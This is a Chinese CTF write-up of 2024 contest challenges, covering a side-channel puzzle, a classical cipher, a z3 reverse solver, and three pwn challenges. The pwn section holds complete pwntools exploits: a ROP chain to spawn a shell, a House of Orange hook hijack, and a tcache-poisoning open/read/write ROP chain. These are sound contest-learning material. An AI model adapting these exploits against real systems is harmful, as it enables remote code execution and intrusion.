梦开始的比赛。去年纯小白直接参赛,结果自然是被血虐。之后开始慢慢学,今年总算是做出些题。不过难一些的 PWN 题还是做不出……( ),就多练。
Misc #
火锅链观光打卡 #
签到题。
浏览器安装一个 MetaMask 钱包用于区块链操作。连接钱包后答题,收集任意7个不同食材图片后,点击兑换 NFT ,得到含 flag 的图片:
flag{y0u_ar3_hotpot_K1ng}
Power_Trajectory_Diagram #
这是一道基于功耗分析的侧信道攻击题,搜索相关关键词,在看雪上找到一篇文章。根据文章内容可知,输入密码逐位比对,输入正确时和错误时功耗曲线有明显不同。
将得到的 npz 加载后打印数据,发现一共有13*40组数据,40对应着40个字符,猜测13为密码位数。打印所有功耗曲线,可以发现:
data = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'_', '!', '@', '#']
list = [
37,
43,
89,
139,
163,
214,
277,
309,
347,
389,
431,
477
]
password = ''
for i in range(12):
tmp = list[i] - i*40 -1
print(tmp)
password += data[tmp]
print(password)
得到结果_ciscn_2024_
,因此 flag 为:
flag{_ciscn_2024_}
Crypto #
古典密码 #
题目给了一个字符串AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9
,没有说明经过何种处理。
放到 CyberChef 选择 Encrption / Encoding 逐个尝试,用 Atbash Cipher 解密后 Base64 解码,得到:
fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}
根据题目的提示想到栅栏密码,将字符串对半分,然后Z形拼接就能得到 flag:
flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}
Reverse #
gdb_debug #
IDA反编译,注意到程序中设置随机数种子的代码:
v3 = time(0LL);
srand(v3 & 0xF0000000);
实际上随机数种子恒为0x60000000,因此该程序中的随机数都可以确定,可以使用 ctypes 来调用 libc 库设置相应的随机数种子,获取每一次调用 rand()
返回的随机数。剩下的就是根据反编译的程序使用 z3 进行约束求解,exp 如下:
from pwn import *
from z3 import *
from ctypes import *
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x60000000)
# Initialization
flag_len = 38
solver = Solver()
# Create a list of BitVec variables to represent the flag
flag_chars = [BitVec(f'flag_{i}', 8) for i in range(flag_len)]
# Add constraints
solver.add(flag_chars[0] == ord('f'))
solver.add(flag_chars[1] == ord('l'))
solver.add(flag_chars[2] == ord('a'))
solver.add(flag_chars[3] == ord('g'))
solver.add(flag_chars[4] == ord('{'))
solver.add(flag_chars[flag_len-1] == ord('}'))
# Step 1: XOR with rand
v28 = [BitVec(f'v28_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
random_val = libc.rand() & 0xff
solver.add(v28[i] == flag_chars[i] ^ random_val)
# Step 2: Shuffle array s
ptr = [i for i in range(flag_len)]
k = flag_len - 1
while k >= 0:
v18 = (libc.rand() % (k + 1)) & 0xff
v19 = ptr[k]
ptr[k] = ptr[v18]
ptr[v18] = v19
k -= 1
val1 = [
0xd8, 0xe0, 0x19, 0xe8, 0xcd, 0x9f, 0x6d, 0x65,
0xb8, 0x11, 0x81, 0xc8, 0x6e, 0xd0, 0xdb, 0xf8,
0x6b, 0xf9, 0x7d, 0xd2, 0xd6, 0xd5, 0x0f, 0x89,
0x1e, 0x34, 0x6a, 0xc5, 0xfd, 0xc1, 0xe9, 0x26,
0xd0, 0xba, 0xfa, 0x99, 0xe7, 0x06
]
val2 = [0x6, 0x4a, 0x5b, 0x14, 0xc4, 0x77, 0xdf, 0x63, 0xb5, 0x82, 0xe0, 0x3c, 0x4a, 0x99, 0xce, 0xf9, 0xbc, 0x52, 0x79, 0xca, 0x19, 0x3c, 0xda, 0x1f, 0x2d, 0xfe, 0x93, 0xef, 0xa3, 0x2b, 0xc4, 0x1a, 0x44, 0xd5, 0xc2, 0x4, 0xbf, 0xec]
random_vals = [0] * flag_len
for i in range(flag_len):
random_vals[i] = val1[i] ^ val2[i]
# *((_BYTE *)v31 + m) = *((_BYTE *)v28 + *((unsigned __int8 *)ptr + m));
v31 = [BitVec(f'v31_{i}', 8) for i in range(flag_len)]
for m in range(flag_len):
solver.add(v31[m] == (v28[ptr[m]] ) ^ (random_vals[m]) & 0xff)
# s1[ii] = *((_BYTE *)v31 + ii) ^ v32[ii];
v32 = [0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78]
s1 = [BitVec(f's1_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
solver.add(s1[i] == v31[i] ^ v32[i])
s2 = "congratulationstoyoucongratulationstoy"
for i in range(flag_len):
solver.add(s1[i] == ord(s2[i]))
if solver.check() == sat:
model = solver.model()
flag = ''.join([chr(model[flag_chars[i]].as_long()) for i in range(flag_len)])
print(f'flag: {flag}')
else:
print('unsat')
其中第三次获取38个随机数时,我使用 ctypes 得到的随机数与实际的随机数不符,因此直接在 gdb 中打印 v31 这个数组在与随机数异或前后的值,得到第三轮的38个随机数。不清楚是什么导致了这种差异,但或许这就是题目提示“动静结合”的原因? 最后得到flag:
flag{78bace5989660ee38f1fd980a4b4fbcd}
Pwn #
gostack #
一道简单的栈溢出+ROP题目,一开始被 golang 唬住了,逆向了一会儿没找到缓冲区的大小,然后直接在 gdb 中看就清楚多了。 首先checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
有栈溢出 + 没有canary + 没有PIE + gadgets = 简单 ROP 找到要用的gadgets,构造 ROP chain ;在 gdb 中计算出缓冲区开头与返回地址的距离为0x1d0字节,加上填充就得到 payload。exp 如下:
from pwn import *
context.binary = binary = ELF('./gostack')
# context.log_level = 'critical'
syscall = 0x0000000000404043
pop_rax = 0x000000000040f984
pop_rsi = 0x000000000042138a
pop_rdx = 0x00000000004944ec
pop_rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
read_func = 0x46178d
bss = binary.bss()
# p = binary.process()
p = remote('8.147.129.254', 29507)
# read(0, bss, 0x100)
rop_chain = flat(pop_rdi_r14_r13_r12_rbp_rbx, 0, 0, 0, 0, 0, 0, pop_rsi, bss, pop_rdx, 8, read_func)
# execve(bss, 0, 0)
rop_chain += flat(pop_rdi_r14_r13_r12_rbp_rbx, bss, 0, 0, 0, 0, 0, pop_rsi, 0, pop_rdx, 0, pop_rax, 59, syscall)
payload = b'\x00' * 0x1d0 + rop_chain
payload = payload.ljust(0x1000, b'\x00')
p.recvuntil(b'message :')
# gdb.attach(p, '''b *0x4a0a9e''')
p.sendline(payload)
p.recvuntil(b'message :')
p.sendline(b'/bin/sh\x00')
p.interactive()
有 syscall
但是没有 syscall ; ret
,因此我们的 ROP chain 最多只能有一次 raw syscall ,因此 read 选择使用函数地址而不是 raw syscall。get shell 之后得到 flag :
flag{08c559f9-81f7-4c74-a983-9eb59502de34}
orange_cat_diary #
首先用 IDA 反编译程序,在程序中发现以下漏洞:
- heap overflow(8字节的溢出)
- UAF(只能使用一次,因为只能 delete 一次)
- write after free
- read after free
再根据题目名称的提示可以知道,可以使用 House of Orange 进行攻击(利用 heap overflow 和 read after free),泄露出 libc 地址和堆地址。由于 libc 的版本为2.23,因此最简便的方法就是劫持 __malloc_hook
。使用 pwndbg 的 find_fake_fast
命令找到用于覆盖 __malloc_hook
内容的 fast bin 地址,然后利用 write after free 劫持 fast bin ,使其返回该 chunk ,然后将__realloc_hook
写为one_gadget
,将__malloc_hook
写为realloc
,这样做更容易满足one_gadget
条件。
利用代码如下:
from pwn import *
# all protections are enabled
# heap overflow
# we can only use show and delete once
context.binary = binary = ELF('./orange_cat_diary')
libc = binary.libc
# context.log_level = 'critical'
libc_offset = 0x3c5158
malloc_hook_offset = 0x3c4b10
one_gadget_offset = 0xf1247
# p = binary.process()
p = remote('8.147.129.254', 25553)
p.recvuntil(b'Please tell me your name.\n')
p.sendline(b'BeaCox')
def menu():
p.recvuntil(b'###orange_cat_diary###')
p.recvuntil(b'Please input your choice:')
def add(size, content):
menu()
p.sendline(b'1')
p.recvuntil(b'Please input the length of the diary content:')
p.sendline(str(size).encode())
p.recvuntil(b'Please enter the diary content:\n')
p.send(content)
def show():
menu()
p.sendline(b'2')
def delete():
menu()
p.sendline(b'3')
def edit(size, content):
menu()
p.sendline(b'4')
p.recvuntil(b'Please input the length of the diary content:')
p.sendline(str(size).encode())
p.recvuntil(b'Please enter the diary content:\n')
p.send(content)
# House of Orange
add(0x400-8, b'A'*(0x400-16) + p64(0x0))
payload = b'A'*(0x400-16) + p64(0x0) + p64(0xc01)
edit(0x400, payload)
add(0x1000, b'\n')
add(0x68, b'\n')
show()
p.recv(8)
libc_leak = u64(p.recv(8))
info(f'libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
info(f'libc_base: {hex(libc.address)}')
malloc_hook_addr = libc.symbols['__malloc_hook']
info(f'malloc_hook_addr: {hex(malloc_hook_addr)}')
fake_bin_addr = malloc_hook_addr - 0x23
heap_leak = u64(p.recv(8))
info(f'heap_leak: {hex(heap_leak)}')
one_gadget = libc.address + one_gadget_offset
info(f'one_gadget: {hex(one_gadget)}')
realloc = libc.sym['realloc']
info(f'realloc: {hex(realloc)}')
# overwrite __malloc_hook and __realloc_hook
delete()
edit(0x68, p64(fake_bin_addr) + p64(fake_bin_addr) + b'\n')
add(0x68, cyclic(0x68))
payload = b'a'*0xb + p64(one_gadget) + p64(realloc)
add(0x68, payload + b'\n')
# gdb.attach(p, '')
p.send(b'1')
p.interactive()
get shell 并得到 flag :
flag{2a6de11d-8a93-484d-9444-7d1046c55134}
EzHeap #
我刚开始放 payload 的堆选了0x80大小,根本放不下 ROP chain ,直接导致比赛结束时没来得及将这题做完,赛后十来分钟改了个大小就打通了。
又一道堆题,但是使用 seccomp 限制了系统调用:
$ seccomp-tools dump ./EzHeap
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0010
0009: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
因此很容易想到先用 mprotect
更改页面权限,然后 orw 直接读 flag。但是我最后没有使用 mprotect
,直接在栈上构造 ROP chain 来进行 orw 。
分析程序,发现漏洞:
- 极大 heap overflow
- 输入无 0 截断可导致相邻内存泄漏
而且最多允许我们 malloc
80个堆块,因此应该有不少利用方法。我主要利用 tcache poisoning 。攻击思路如下:
-
首先利用堆溢出和相邻内存泄露,通过程序内已经有的 unsorted bins 等堆块,泄露 libc 和 heap 地址
-
计算 libc 中
__environ
的地址,利用 tcache poisoning 获得该地址处的堆块进行读,泄露 stack 地址libc 版本为2.35,因此要手动 safe link
-
在某个堆块中写入
flag\x00
用于 orw ,搜集 gadgets 构造 ROP chain 。值得注意的是不能直接调用库函数 orw ,因为库函数的open
往往使用openat
系统调用,会被禁止。因此我直接选择全部使用syscall ; ret
gadget ,这也是导致我 payload 巨大的原因。 -
在
malloc_heap
操作对应函数的ret
处下断点,计算此时 stack 地址与泄露 stack 地址的偏移,然后再利用 tcache poisoning 获得目标地址附近(target_stack-0x8
,因为要16字节对齐且不能破坏canary)的堆块进行写。payload 为 8 字节的 rbp 填充加上 ROP chain 。malloc_heap
返回时会被劫持到该 ROP chain 。
exp 如下:
from pwn import *
context.binary = binary = ELF('./EzHeap')
libc = binary.libc
# context.log_level = 'critical'
libc_offset = 0x21ace0
heap_offset = 0x1040
tcache_50_offset = 0x4d0
tcache_110_offset = 0x2420
heap_flag_offset = 0x2420
stack_offset = 0x170
# p = binary.process()
p = remote('8.147.133.76', 13951)
def menu():
p.recvuntil(b'choice >> ')
def malloc_heap(size, content):
menu()
p.sendline(b'1')
p.recvuntil(b'size:')
p.sendline(str(size).encode())
p.recvuntil(b'content:')
p.send(content)
def free_heap(index):
menu()
p.sendline(b'2')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())
def edit_heap(index, size, content):
menu()
p.sendline(b'3')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())
p.recvuntil(b'size:')
p.sendline(str(size).encode())
p.recvuntil(b'content:')
p.send(content)
def show_heap(index):
menu()
p.sendline(b'4')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())
def exit_program():
menu()
p.sendline(b'5')
def mangle(pos, ptr, page_offset=0):
return ((pos >> 12) + page_offset) ^ ptr
def demangle(ptr, page_offset=0):
pos = (ptr >> 12) + page_offset
m = pos ^ ptr
return m >> 24 ^ m
def leak_heap_libc():
global heap_leak, libc_leak
# idx 0
malloc_heap(0x40, b'A'*0x40)
edit_heap(0, 0x50, b'A'*0x50)
show_heap(0)
p.recvuntil(b'A'*0x50)
libc_leak = u64(p.recv(6).ljust(8, b'\x00'))
edit_heap(0, 0xd0, b'B'*0xd0)
show_heap(0)
p.recvuntil(b'B'*0xd0)
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
payload = b'A'*0x40 + p64(0) + p64(0xa1) + p64(libc_leak) + p64(libc_leak)
payload = payload.ljust(0xd0, b'\x00')
edit_heap(0, 0xd0, payload)
### stage1: leak libc and heap
leak_heap_libc()
info(f'[LEAK] heap_leak: {hex(heap_leak)}')
info(f'[LEAK] libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
heap_base = heap_leak - heap_offset
info(f'[CALC] libc_base: {hex(libc.address)}')
info(f'[CALC] heap_base: {hex(heap_base)}')
environ_addr = libc.sym['__environ']
info(f'[CALC] environ_addr: {hex(environ_addr)}')
### stage2: leak stack
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2
malloc_heap(0x40, b'C'*0x40)
free_heap(2)
free_heap(1)
mangled_environ_addr = mangle(heap_base + tcache_50_offset, environ_addr - 0x40)
info(f'[CALC] mangled_environ_addr: {hex(mangled_environ_addr)}')
payload = 0x40 * b'A' + p64(0) + p64(0x51) + p64(mangled_environ_addr)
edit_heap(0, 0x58, payload)
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2(environ_addr - 0x40)
malloc_heap(0x40, b'C'*0x40)
show_heap(2)
p.recvuntil(b'C'*0x40)
stack_leak = u64(p.recv(6).ljust(8, b'\x00'))
info(f'[LEAK] stack_leak: {hex(stack_leak)}')
### stage3: overwrite stack with rop chain
# idx3
malloc_heap(0x100, b'D'*0x100)
# idx4
malloc_heap(0x100, b'E'*0x100)
# idx5
malloc_heap(0x100, b'F'*0x100)
free_heap(5)
free_heap(4)
target_stack = stack_leak - stack_offset
info(f'[CALC] target_stack: {hex(target_stack)}')
mangled_stack = mangle(heap_base + tcache_110_offset, target_stack-0x8)
info(f'[CALC] mangled_stack: {hex(mangled_stack)}')
payload = 0x100 * b'A' + p64(1) + p64(0x91) + p64(mangled_stack)
edit_heap(3, 0x118, payload)
# idx4
# gdb.attach(p)
malloc_heap(0x100, b'flag\x00'.ljust(0x100, b'\x00'))
# idx5(target_stack-0x20)
payload = p64(stack_leak)
flag_addr = heap_base + heap_flag_offset
rop = ROP(libc)
# raw orw
syscall_gadget = rop.find_gadget(['syscall', 'ret']).address
pop_rax = rop.find_gadget(['pop rax', 'ret']).address
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address
# pop_rdx = rop.find_gadget(['pop rdx', 'ret']).address
pop_rdx_r12 = libc.address + 0x000000000011f2e7
# open('flag.txt', 0, 0)
payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) + p64(0)+ p64(pop_rax) + p64(2) + p64(syscall_gadget)
# read(3, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(0) + p64(syscall_gadget)
# write(1, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(1) + p64(syscall_gadget)
payload += rop.chain()
payload = payload.ljust(0x100, b'\x00')
# gdb.attach(p, 'b *$rebase(0x16cd)')
malloc_heap(0x100, payload)
flag = p.recvuntil(b'}')
success(f'[FLAG] {flag.decode()}')
最后得到 flag :
flag{c9112d19-27e3-41ec-9957-fefb3f109229}